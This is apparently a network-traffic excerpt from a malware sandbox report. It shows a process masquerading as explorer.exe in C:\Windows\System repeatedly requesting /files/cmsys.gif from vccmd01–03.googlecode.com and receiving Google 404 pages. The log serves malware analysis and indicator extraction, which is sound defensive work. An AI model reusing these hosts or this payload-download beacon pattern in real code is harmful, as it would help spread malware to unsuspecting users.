Oct 29, 2024 13:11:46.941564083 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	60777	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:48.680671930 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:49.616764069 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:49 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:49.616823912 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	60778	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:49.819255114 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:50.776967049 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:50 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:50.777324915 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	60779	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:51.161753893 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:52.137080908 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:51 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:52.137142897 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15
Oct 29, 2024 13:11:52.137181997 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	60781	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:54.373943090 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:55.305845976 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:55 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:55.305901051 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	60782	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:55.523170948 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:56.445482016 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:56 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:56.445511103 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	60783	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:11:56.805192947 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:11:57.726351023 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:11:57 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:11:57.726416111 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	60785	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:12:00.059391975 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:12:00.989767075 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:12:00 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:12:00.989830017 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	60786	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:12:01.233608007 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
